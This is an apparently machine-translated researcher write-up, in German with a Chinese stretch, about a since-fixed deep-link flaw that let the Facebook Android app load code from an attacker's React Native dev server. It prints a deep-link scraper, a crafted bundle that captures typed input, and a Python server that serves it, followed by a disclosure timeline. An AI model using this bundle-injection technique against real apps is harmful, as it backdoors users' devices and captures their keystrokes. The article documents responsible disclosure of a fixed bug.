Heim > Artikel > Betrieb und Instandhaltung > So verwenden Sie Deep Linking zur Backdoor-Facebook-App
Kürzlich hat der Autor eine Deep-Link-Schwachstelle in der Facebook-Android-App entdeckt. Mithilfe dieser Schwachstelle kann die auf dem Mobiltelefon des Benutzers installierte Facebook-Android-App in ein Backdoor-Programm (Backdoor) umgewandelt werden, um Backdooring zu erreichen. Darüber hinaus kann diese Schwachstelle auch dazu genutzt werden, die Facebook-Anwendung neu zu packen und an ausgewählte Zielopfer zur Installation und Nutzung zu senden. Werfen wir einen Blick auf den Entdeckungsprozess dieser Schwachstelle durch den Autor und wie sie letztendlich durch die Payload-Konstruktion in ein Sicherheitsrisiko in der tatsächlichen Produktionsumgebung der Facebook-App umgewandelt wurde.
Normalerweise werde ich bei öffentlichen Tests zunächst den Anwendungsmechanismus des Zielsystems sorgfältig verstehen. In meinem letzten Blog habe ich einige Erfahrungen mit der Erkennung von Deep Links (Deeplinks) in FB4A-Parameteranwendungen durch das Parsen von Facebook APP geteilt. Hier werde ich zunächst eine von mir geschriebene Skriptdatei teilen, die Deep Links (Deeplinks) von Facebook APP automatisch erkennen kann. Die Skriptdatei ist – Facebook Android Deeplink Scraper (FBLinkBuilder.py), ein Python-basiertes Codeprogramm zum Extrahieren von Deep Links (Deeplinks) aus Facebook APK:
import os import json import argparse from zipfile import ZipFile from datetime import datetime fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename parser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file') parser.add_argument('-o', help='Output file', nargs='?', default=fname) parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False) args = parser.parse_args() file_name = args.i #apk output_name = args.o #generated output / provided exported = args.e #False / provided with ZipFile(file_name, 'r') as zip: print('Extracting native routes file...') #fyi data = zip.read('assets/react_native_routes.json') #extract file from zip js = json.loads(data.decode("utf-8")) #to read as list params = '' #placeholder i = 0 #deeplink count text_file = open(output_name, "w") #open output print('Manipulating data...') #fyi for key in js: #for each block in json for key2 in key['paramDefinitions']: #grab the collection of params params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type if exported: #exported only if key.get('access','') != 'exported': #check access key params = '' #Reset params continue #try next block link = 'fb:/' + key['path'] + '/?' + params #build link print(link[:-1]) #fyi text_file.write(link[:-1]+ '\n') #write to file i += 1 #increase counter params = '' #reset params text_file.close() #save file print('File: ' + output_name + ' saved') #fyi print(str(i) + ' deep links generated') #fyi
Download-Quelle: https://github.com/ashleykinguk /FBLinkBuilder/
Verwendung: .FBLinkBuilder.py -i fb0409.apk
Durch Ausführen von FBLinkBuilder.py können wir die Deep Links vergleichen, die zwischen verschiedenen APP-Versionen angezeigt werden, um verschiedene APP-Versionen zu beobachten. App-Service-Änderungen, ich habe dies verwendet Methode, um einen unsicheren Deep Link in der 2020-Version der Facebook-APP zu entdecken: fb://rnquantum_notification_handler/?address=, was das erste Mal ist, dass die Facebook-APP zur 2020-Version von hinzugefügt wurde.
Das Parameterformat dieses Deep Links ist Hostname/IP, also habe ich meinen eigenen Server 192.168.0.2 verwendet, um einen Test durchzuführen: fb://rnquantum_notification_handler/?address=192.168.0.2:8224, diesen Link übergeben, der Das folgende Popup-Fenster wird in der Facebook-App angezeigt:
Nachdem Sie auf die Schaltfläche „Quantum aktivieren“ geklickt haben, wird die Facebook-App neu gestartet. Danach habe ich versucht, die Änderungen zu finden, aber es schien nichts Ungewöhnliches daran zu sein Es. Als nächstes wandte ich meine Aufmerksamkeit dem Netzwerkverkehr zu. Damals fiel mir die White-Hat-Testfunktion ein, die Facebook kürzlich speziell für Sicherheitsforscher geöffnet hatte. Mit dieser Funktion können Sicherheitsforscher das Zertifikat-Pinning (Certificate Pinning) von Facebook vorübergehend umgehen. ) und andere Sicherheitsbeschränkungen, um den Netzwerkverkehr von Facebook-bezogenen Anwendungen zu testen. Ich habe die White-Hat-Testfunktion verwendet und festgestellt, dass die Facebook-Anwendung nach Durchführung der oben genannten Vorgänge die folgende ausgehende Linkanfrage ausgibt:
http://192.168.0.2:8224/message?device=Android+SDK+built+ for+ x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl
http://192.168.0.2:8224/status
Der erste Anforderungsmechanismus besteht hier darin, die Attributinformationen des mobilen Geräts basierend auf zu übergeben , und beabsichtigt, eine Websocket-Verbindung herzustellen; die zweite Anfrage gibt die Statusinformationen des anfordernden Hosts zurück packager-status:running, ein integrierter Parameter des React-Native-Quellcodes Sie können auf Github verweisen: /com/ facebook/react/devsupport/DevServerHelper .java.
Und als ich versuchte, eine Antwortnachricht auf meinem eigenen Server 192.168.0.2 zu erstellen, fand ich eine weitere von der Facebook-APP generierte Anfrage:
http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle .bundle?platform =android&dev=true&minify=false
Der Zweck dieser Anfrage besteht darin, die in der Paketdatei gespeicherten FB4A-Parameter zu finden. Eine vorläufige Analyse zeigt, dass die Parameter in der Facebook-APP im Klartext statt im üblichen hbc*-Format gespeichert werden sollten. Ich habe zu Testzwecken versucht, FB4A-Parameter im hbc*-Format einzugeben, aber es hat letztendlich zum Absturz der Facebook-App geführt.
Tatsächlich wurden die Verpackungsdateien (Bundles) der Facebook-App vor 2019 in einer formellen Datei im Verzeichnis /assets/ gespeichert, aber nach 2019 führte Facebook einerseits das hbc-Format (*Hermes ByteCode) ein, um das APK zu verschlanken und andererseits zu verhindern, dass der Kerncode explizit gemacht wird. Obwohl ich versucht habe, mit dem HBC-Formatierungstool HBCdump eine Paketdatei von etwa 250 MB für die Facebook-App zu generieren, schien es nutzlos zu sein.
, dachte ich über eine andere Möglichkeit nach, verpackte Dateien zu finden: indem ich die alte Version der Facebook-APP überprüfte und den Inhalt des Klartextpakets mit der vom Mobilgerät generierten Fehlermeldung vergleiche Die Nachricht ist über Logcat sichtbar. Nach einem Vergleich habe ich folgende Hinweise gefunden:
__fbBatchedBridge – ein notwendiges Objekt in der Paketdatei, das verschiedene mit der APP-Anwendung synchronisierte Funktionskomponenten enthält;
__fbBatchedBridge.callFunctionReturnFlushedQueue – eine Funktion, die bei jedem Aufruf vom APP-Hintergrund aufgerufen wird führt die entsprechende Aktion oder das entsprechende Ereignis aus.
Basierend auf den oben genannten Erkenntnissen besteht meine Idee darin, der Facebook-App das erfolgreiche Herunterladen und Ausführen der von mir erstellten Paketdatei zu ermöglichen. Um diesen Zweck zu erreichen, muss ich die Paketdatei selbst schreiben und sie dann auf meinem eigenen Computer hosten. gehosteter Host 192.168.0.2 Mitte. Das Folgende ist die Paketdatei FB4abundle.js, die ich erstellt habe:
/* contact@ash-king.co.uk */ var i = 0, logs = ''; /* our local vars */ /*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */ var __fbBatchedBridge = { _lazyCallableModules: {}, _queue: [[], [], [], 0], _callID: 0, _lastFlush: 0, _eventLoopStartTime: Date.now(), _immediatesCallback: null, callFunctionReturnFlushedQueue: function(module, method, args) { return __fbBatchedBridge.__guard(function() { __fbBatchedBridge.__callFunction(module, method, args) }), __fbBatchedBridge.flushedQueue() }, callFunctionReturnResultAndFlushedQueue: function(e, u, s) { return __fbBatchedBridge.__guard(function() { throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a); }), __fbBatchedBridge.flushedQueue() }, invokeCallbackAndReturnFlushedQueue: function(a,b,c) { throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a); }, flushedQueue: function(a, b) { if(a != undefined){ throw new Error('flushedQueue: ' + b) } __fbBatchedBridge.__callImmediates(); const queue = __fbBatchedBridge._queue; __fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID]; return queue[0].length ? queue : null; }, onComplete: function(a) { throw new Error(a) }, __callImmediates: function() { if (__fbBatchedBridge._immediatesCallback != null) { __fbBatchedBridge._immediatesCallback(); throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback()); } }, getCallableModule: function(a) { const getValue = __fbBatchedBridge._lazyCallableModules[a]; return getValue ? getValue() : null; }, __callFunction: function(a,b,c) { if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings i += 1 //increment count logs += JSON.stringify(c) + '\n'; //JSON Object if(i > 10) { /* Here is where we will write out to logcat via js*/ var t = (nativeModuleProxy); throw new Error('Look HERE: ' + (logs) + '\n\r'); } } __fbBatchedBridge._lastFlush = Date.now(); __fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush; const moduleMethods = __fbBatchedBridge.getCallableModule(a); try { moduleMethods[b].apply(moduleMethods, c); } catch (e) { } return -1 }, __guard: function(e) { try { e(); } catch (error) { throw new Error('__guard: ' + error); } } };
另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件
#contact@ash-king.co.uk from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) def do_GET(self): if self.path == '/status': self.resp_status() elif str(self.path).find('message?device=') > -1: self.resp_message() elif str(self.path).find('Fb4aBundle.bundle') > -1: self.resp_fb4a() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def resp_message(self): logging.info("resp_message") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_status(self): logging.info("resp_status") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("packager-status:running", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_fb4a(self): logging.info("resp_bundle") self.send_response(200) self.send_header('Content-type', 'multipart/mixed') self.end_headers() with open('FB4abundle.js', 'rb') as file: self.wfile.write(file.read()) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def run(server_class=HTTPServer, handler_class=S, port=8224): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv run()
综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:
恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。
然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。
“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”
2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付
Das obige ist der detaillierte Inhalt vonSo verwenden Sie Deep Linking zur Backdoor-Facebook-App. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!